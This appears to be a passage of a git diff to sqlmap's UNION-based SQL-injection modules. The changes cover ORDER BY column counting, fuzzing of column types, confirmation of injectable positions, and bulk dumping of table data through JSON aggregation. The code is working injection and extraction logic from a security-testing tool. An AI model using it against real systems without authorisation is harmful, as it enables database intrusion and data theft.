None else lowerCount + highCount = randomInt() if upperCount is None else upperCount + 1 + + lowPage, lowHeaders, lowCode, lowErrored = _orderByProbe(lowCount) + highPage, highHeaders, highCode, highErrored = _orderByProbe(highCount) + + # When an out-of-range ORDER BY position visibly errors on this target, the column count can be + # bisected on error presence alone - immune to result-set shifts caused by the injection context + # (e.g. a LIKE '%...%' search whose matches change once the string literal is closed), which would + # otherwise make the response-similarity oracle reject a still-valid position. + errorOracle = highErrored and not lowErrored - if _orderByTest(1) and not _orderByTest(randomInt()): - infoMsg = "ORDER BY technique seems to be usable. " + def _orderByValid(page, headers, code, errored): + if re.search(r"data types cannot be compared or sorted", page or "", re.I): + return True + if errored: + return False + return errorOracle or (not kb.heavilyDynamic and comparison(page, headers, code)) + + def _orderByTest(cols): + return _orderByValid(*_orderByProbe(cols)) + + if _orderByValid(lowPage, lowHeaders, lowCode, lowErrored) and not _orderByValid(highPage, highHeaders, highCode, highErrored): + infoMsg = "'ORDER BY' technique appears to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) - lowCols, highCols = 1, ORDER_BY_STEP + lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount found = None while not found: - if _orderByTest(highCols): + if not conf.uCols and _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP + + if highCols > ORDER_BY_MAX: + break else: while not found: - mid = highCols - (highCols - lowCols) / 2 + mid = highCols - (highCols - lowCols) // 2 if _orderByTest(mid): lowCols = mid else: @@ -87,13 +126,16 @@ def _orderByTest(cols): kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop - if lowerCount == 1: - found = kb.orderByColumns or _orderByTechnique() + if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # Note: ORDER BY is not bullet-proof + found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique() + if found: kb.orderByColumns = found infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") singleTimeLogMessage(infoMsg) return found + elif kb.futileUnion: + return None if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES @@ -104,24 +146,29 @@ def _orderByTest(cols): for count in xrange(lowerCount, upperCount + 1): query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) + page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) + if not isNullValue(kb.uChar): pages[count] = page - ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO + + ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): - for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): - contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()] - if len(filter(lambda x: x[1], contains)) == 1: - retVal = filter(lambda x: x[1], contains)[0][0] + value = re.escape(kb.uChar.strip("'")) + for regex in (value, r'>\s*%s\s*<' % value): + contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None] + if len(contains) == 1: + retVal = contains[0] break if not retVal: - ratios.pop(ratios.index(min_)) - ratios.pop(ratios.index(max_)) + if min_ in ratios: + ratios.pop(ratios.index(min_)) + if max_ in ratios: + ratios.pop(ratios.index(max_)) minItem, maxItem = None, None @@ -131,14 +178,16 @@ def _orderByTest(cols): elif item[1] == max_: maxItem = item - if all(map(lambda x: x == min_ and x != max_, ratios)): + if all(_ == min_ and _ != max_ for _ in ratios): retVal = maxItem[0] - elif all(map(lambda x: x != min_ and x == max_, ratios)): + elif all(_ != min_ and _ == max_ for _ in ratios): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: - deviation = stdev(ratios) + deviation = stdev(ratios) + + if deviation is not None: lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation if min_ < lower: @@ -152,7 +201,39 @@ def _orderByTest(cols): if retVal: infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal - singleTimeLogMessage(infoMsg) + singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", 'N', infoMsg)) + + return retVal + +def _fuzzUnionCols(place, parameter, prefix, suffix): + retVal = None + + if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns: + comment = queries[Backend.getIdentifiedDbms()].comment.query + + choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True) + random.shuffle(choices) + + attempts = 0 + for candidate in itertools.product(choices, repeat=kb.orderByColumns): + if retVal or attempts >= FUZZ_UNION_MAX_REQUESTS: # bound the exponential type-combination search + break + elif FUZZ_UNION_COLUMN.STRING not in candidate: + continue + else: + attempts += 1 + candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate] + + query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix) + query = agent.suffixQuery(query, suffix=suffix, comment=comment) + payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE) + page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) + + if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""): + for column in candidate: + if column.startswith("'") and column.strip("'") in (page or ""): + retVal = [(_ if _ != column else "%s") for _ in candidate] + break return retVal @@ -160,7 +241,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO validPayload = None vector = None - positions = range(0, count) + positions = [_ for _ in xrange(0, count)] # Unbiased approach for searching appropriate usable column random.shuffle(positions) @@ -175,58 +256,54 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO for position in positions: # Prepare expression with delimiters randQuery = randomStr(charCount) - phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop) + phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower() randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.escape(randQueryProcessed) # Forge the union SQL injection request - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, collate=True) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) - content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ - removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ - payload, True) or "") + page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) + content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() if content and phrase in content: validPayload = payload kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(charCount) - phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop) + phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower() randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) # Confirm that it is a full union SQL injection - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2, collate=True) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) - content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") + page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) + content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower() if not all(_ in content for _ in (phrase, phrase2)): - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) elif not kb.unionDuplicates: fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) # Check for limited row output - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable, collate=True) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) - content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ - removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ - payload, True) or "") + page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) + content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" - logger.warn(warnMsg) - vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates, False) + logger.warning(warnMsg) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() @@ -234,7 +311,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO warnMsg = "combined UNION/error-based SQL injection case found on " warnMsg += "column %d. sqlmap will try to find another " % (position + 1) warnMsg += "column with better characteristics" - logger.warn(warnMsg) + logger.warning(warnMsg) else: break @@ -264,24 +341,41 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) validPayload = None vector = None + orderBy = kb.orderByColumns + uChars = (conf.uChar, kb.uChar) + where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: - count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE) + count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where) if count: validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) - if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]): + if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)): + if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS: + if kb.fuzzUnionTest is None: + msg = "do you want to (re)try to find proper " + msg += "UNION column types with a fuzzy test? [Y/n] " + + kb.fuzzUnionTest = readInput(msg, default='Y', boolean=True) + if kb.fuzzUnionTest: + kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix) + + # apply the discovered per-column type template through a normal confirmation so + # the resulting vector (and later extraction) is built with type-compatible columns + if kb.unionTemplate: + validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, len(kb.unionTemplate)) + warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " - if not conf.uChar and count > 1 and kb.uChar == NULL: + if not all((validPayload, vector)) and not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " - test = readInput(message, default="Y") - if test[0] not in ("y", "Y"): + + if not readInput(message, default='Y', boolean=True): warnMsg += "usage of option '--union-char' " warnMsg += "(e.g. '--union-char=1') " else: @@ -295,11 +389,16 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) warnMsg += "forcing the " warnMsg += "back-end DBMS (e.g. '--dbms=mysql') " - if not all([validPayload, vector]) and not warnMsg.endswith("consider "): + if not all((validPayload, vector)) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) + if orderBy is None and kb.orderByColumns is not None and not all((validPayload, vector)): # discard ORDER BY results (not usable - e.g. maybe invalid altogether) + conf.uChar, kb.uChar = uChars + validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) + return validPayload, vector +@stackedmethod def unionTest(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union @@ -309,8 +408,26 @@ def unionTest(comment, place, parameter, value, prefix, suffix): if conf.direct: return - kb.technique = PAYLOAD.TECHNIQUE.UNION - validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) + negativeLogic = kb.negativeLogic + setTechnique(PAYLOAD.TECHNIQUE.UNION) + + kb.unionTemplate = None # reset any per-column type template carried over from a previous parameter + + try: + if negativeLogic: + pushValue(kb.negativeLogic) + pushValue(conf.string) + pushValue(conf.code) + + kb.negativeLogic = False + conf.string = conf.code = None + + validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) + finally: + if negativeLogic: + conf.code = popValue() + conf.string = popValue() + kb.negativeLogic = popValue() if validPayload: validPayload = agent.removePayloadDelimiters(validPayload) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 034223c5233..43de9a31a35 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,14 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import json import re import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import arrayizeValue @@ -17,34 +17,43 @@ from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import extractRegexResult +from lib.core.common import firstNotNone from lib.core.common import flattenValue from lib.core.common import getConsoleWidth from lib.core.common import getPartRun -from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import initTechnique +from lib.core.common import isDigit from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import parseUnionPage +from lib.core.common import randomStr from lib.core.common import removeReflectiveValues from lib.core.common import singleTimeDebugMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseDBMSError -from lib.core.convert import htmlunescape +from lib.core.compat import xrange +from lib.core.convert import decodeBase64 +from lib.core.convert import getUnicode +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS +from lib.core.enums import HTTP_HEADER from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapSyntaxException +from lib.core.settings import JSON_AGG_CHUNK_ROWS from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH +from lib.core.settings import NULL from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.threads import getCurrentThreadData @@ -52,105 +61,267 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar -from thirdparty.odict.odict import OrderedDict +from lib.utils.safe2bin import safecharencode +from thirdparty import six +from collections import OrderedDict def _oneShotUnionUse(expression, unpack=True, limited=False): - retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True) # as union data is stored raw unconverted + retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: - # Prepare expression with delimiters - injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) - - # Forge the union SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector - kb.unionDuplicates = vector[7] - kb.forcePartialUnion = vector[8] - query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) - where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] + + if not kb.jsonAggMode: + injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) + kb.unionDuplicates = vector[7] + kb.forcePartialUnion = vector[8] + + # Note: introduced columns in 1.4.2.42#dev + try: + kb.tableFrom = vector[9] + kb.unionTemplate = vector[10] + except IndexError: + pass + + query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited, collate=True) + where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] + else: + injExpression = unescaper.escape(expression) + where = vector[6] + query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False, collate=True) + payload = agent.payload(newValue=query, where=where) # Perform the request - page, headers = Request.queryPage(payload, content=True, raise404=False) + page, headers, _ = Request.queryPage(payload, content=True, raise404=False) - incrementCounter(PAYLOAD.TECHNIQUE.UNION) + if page and kb.chars.start.upper() in page and kb.chars.start not in page: + singleTimeWarnMessage("results seems to be upper-cased by force. sqlmap will automatically lower-case them") - # Parse the returned page to get the exact union-based - # SQL injection output - def _(regex): - return reduce(lambda x, y: x if x is not None else y, (\ - extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ - extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \ - if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \ - None) + page = page.lower() - # Automatically patching last char trimming cases - if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): - warnMsg = "automatically patching output having last char trimmed" - singleTimeWarnMessage(warnMsg) - page = page.replace(kb.chars.stop[:-1], kb.chars.stop) + incrementCounter(PAYLOAD.TECHNIQUE.UNION) - retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) + if kb.jsonAggMode: + for _page in (page or "", (page or "").replace('\\"', '"')): + if Backend.isDbms(DBMS.MSSQL): + output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) + + if output: + try: + retVal = None + output_decoded = htmlUnescape(output) + json_data = json.loads(output_decoded, object_pairs_hook=OrderedDict) + + if not isinstance(json_data, list): + json_data = [json_data] + + if json_data and isinstance(json_data[0], dict): + fields = list(json_data[0].keys()) + + if fields: + parts = [] + for row in json_data: + parts.append("%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row.get(field) or NULL) for field in fields), kb.chars.stop)) + retVal = "".join(parts) + except: + retVal = None + else: + retVal = getUnicode(retVal) + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD): + output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload), re.DOTALL) + if output: + retVal = output + else: + output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) + if output: + try: + retVal = "" + for row in json.loads(output): + # NOTE: for cases with automatic MySQL Base64 encoding of JSON array values, like: ["base64:type15:MQ=="] + for match in re.finditer(r"base64:type\d+:([^ ]+)", row): + row = row.replace(match.group(0), decodeBase64(match.group(1), binary=False)) + retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop) + except: + retVal = None + else: + retVal = getUnicode(retVal) + + if retVal: + break + + # Detect a single-shot aggregate that was too large to return whole, so the caller can + # switch to chunked (windowed) aggregation: either the response carries the leading + # marker but no trailing one (cut mid-aggregate by sqlmap's cap and/or a silent DBMS + # truncation, regardless of compression), or the DBMS refused it outright with a packet + # size error (e.g. MySQL "Result of json_arrayagg() was larger than max_allowed_packet"). + if retVal is None and page and ((kb.chars.start in page and kb.chars.stop not in page) or "max_allowed_packet" in page): + kb.respTruncated = True + else: + # Parse the returned page to get the exact UNION-based + # SQL injection output + def _(regex): + return firstNotNone( + extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), + extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE) + ) + + # Automatically patching last char trimming cases + if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): + warnMsg = "automatically patching output having last char trimmed" + singleTimeWarnMessage(warnMsg) + page = page.replace(kb.chars.stop[:-1], kb.chars.stop) + + retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) - # Special case when DBMS is Microsoft SQL Server and error message is used as a result of union injection + # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): - retVal = htmlunescape(retVal).replace("<br>", "\n") + retVal = htmlUnescape(retVal).replace("<br>", "\n") - hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal) - else: + hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) + + elif not kb.jsonAggMode: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) - logger.warn(warnMsg) + logger.warning(warnMsg) + + elif re.search(r"ORDER BY [^ ]+\Z", expression): + debugMsg = "retrying failed SQL query without the ORDER BY clause" + singleTimeDebugMessage(debugMsg) + + expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression) + retVal = _oneShotUnionUse(expression, unpack, limited) + + elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)): + debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1) + singleTimeDebugMessage(debugMsg) + + kb.nchar = False + retVal = _oneShotUnionUse(expression, unpack, limited) + else: + vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector + kb.unionDuplicates = vector[7] return retVal def configUnion(char=None, columns=None): def _configUnionChar(char): - if not isinstance(char, basestring): + if not isinstance(char, six.string_types): return kb.uChar = char if conf.uChar is not None: - kb.uChar = char.replace("[CHAR]", conf.uChar if conf.uChar.isdigit() else "'%s'" % conf.uChar.strip("'")) + kb.uChar = char.replace("[CHAR]", conf.uChar if isDigit(conf.uChar) else "'%s'" % conf.uChar.strip("'")) def _configUnionCols(columns): - if not isinstance(columns, basestring): + if not isinstance(columns, six.string_types): return - columns = columns.replace(" ", "") - if "-" in columns: - colsStart, colsStop = columns.split("-") + columns = columns.replace(' ', "") + if '-' in columns: + colsStart, colsStop = columns.split('-') else: colsStart, colsStop = columns, columns - if not colsStart.isdigit() or not colsStop.isdigit(): + if not isDigit(colsStart) or not isDigit(colsStop): raise SqlmapSyntaxException("--union-cols must be a range of integers") conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop) if conf.uColsStart > conf.uColsStop: - errMsg = "--union-cols range has to be from lower to " + errMsg = "--union-cols range has to represent lower to " errMsg += "higher number of columns" raise SqlmapSyntaxException(errMsg) _configUnionChar(char) _configUnionCols(conf.uCols or columns) +def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count): + """ + Fallback for when a full (single-shot) JSON-agg UNION table dump is too large to be returned + whole (DBMS packet limit / sqlmap response cap). Instead of dropping to the slow per-row UNION + path, rows are aggregated in bounded windows of K rows per request (JSON_ARRAYAGG over a + LIMIT-windowed subquery), keeping near full-UNION throughput while staying well under the + caps. K is halved adaptively if a chunk response still gets truncated. Returns a BigArray of + rows, or None to let the caller fall back to the regular per-row UNION path. + + Same DBMS coverage as the single-shot JSON-agg (per-DBMS aggregate + windowing); others -> None. + """ + dbms = Backend.getIdentifiedDbms() + + if dbms not in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) or not expressionFields or not expressionFieldsList: + return None + + start, stop, delimiter = kb.chars.start, kb.chars.stop, kb.chars.delimiter + + # a stable total ordering (all output columns) so the LIMIT/OFFSET windows never overlap or drop rows + base = re.sub(r"(?i)\s+ORDER BY\s+.+\Z", "", expression) + orderBy = "ORDER BY %s" % ','.join(str(_ + 1) for _ in range(len(expressionFieldsList))) + nulled = [agent.nullAndCastField(_) for _ in expressionFieldsList] + + # per-DBMS: aggregate-over-windowed-columns expression (mirrors the single-shot branches) plus + # the "K rows at offset" window clause appended to the inner derived table + if dbms == DBMS.MYSQL: + aggExpr = "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (start, delimiter, ','.join(nulled), stop) + window = lambda o, k: "%s LIMIT %d,%d" % (orderBy, o, k) + elif dbms == DBMS.PGSQL: + aggExpr = "STRING_AGG('%s'||%s||'%s','')" % (start, ("||'%s'||" % delimiter).join("COALESCE(%s::text,' ')" % _ for _ in expressionFieldsList), stop) + window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o) + elif dbms == DBMS.SQLITE: + aggExpr = "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (start, ("||'%s'||" % delimiter).join("COALESCE(%s,' ')" % _ for _ in expressionFieldsList), stop) + window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o) + elif dbms in (DBMS.H2, DBMS.HSQLDB): + aggExpr = "GROUP_CONCAT('%s'||%s||'%s' SEPARATOR '')" % (start, ("||'%s'||" % delimiter).join(nulled), stop) + window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o) + elif dbms == DBMS.FIREBIRD: + aggExpr = "LIST('%s'||%s||'%s','')" % (start, ("||'%s'||" % delimiter).join(nulled), stop) + window = lambda o, k: "%s ROWS %d TO %d" % (orderBy, o + 1, o + k) + + debugMsg = "single-shot UNION dump output was too large; switching to " + debugMsg += "chunked (windowed) JSON aggregation of %d entries" % count + singleTimeDebugMessage(debugMsg) + + retVal = BigArray() + chunk = JSON_AGG_CHUNK_ROWS + offset = 0 + + while offset < count: + query = "SELECT %s FROM (%s %s) %s" % (aggExpr, base, window(offset, chunk), randomStr()) + + kb.jsonAggMode = True + output = _oneShotUnionUse(query, False) + kb.jsonAggMode = False + + if kb.respTruncated and chunk > 1: + chunk = max(1, chunk // 2) # a single chunk is still too big -> shrink and retry same window + continue + + rows = parseUnionPage(output) + + if rows is None: + return None # unexpected failure -> let the caller fall back to the per-row path + + retVal.extend(arrayizeValue(rows)) + offset += chunk + + return retVal + def unionUse(expression, unpack=True, dump=False): """ - This function tests for an union SQL injection on the target + This function tests for an UNION SQL injection on the target URL then call its subsidiary function to effectively perform an - union SQL injection on the affected URL + UNION SQL injection on the affected URL """ initTechnique(PAYLOAD.TECHNIQUE.UNION) @@ -167,33 +338,63 @@ def unionUse(expression, unpack=True, dump=False): _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) - # Set kb.partRun in case the engine is called from the API - kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None + # Set kb.partRun in case the engine is called from the API or a JSON report is being collected + kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it - expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) + expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression) debugMsg = "stripping ORDER BY clause from statement because " debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.disableJson)): + match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) + if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): + kb.jsonAggMode = True + if Backend.isDbms(DBMS.MYSQL): + query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, ','.join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) 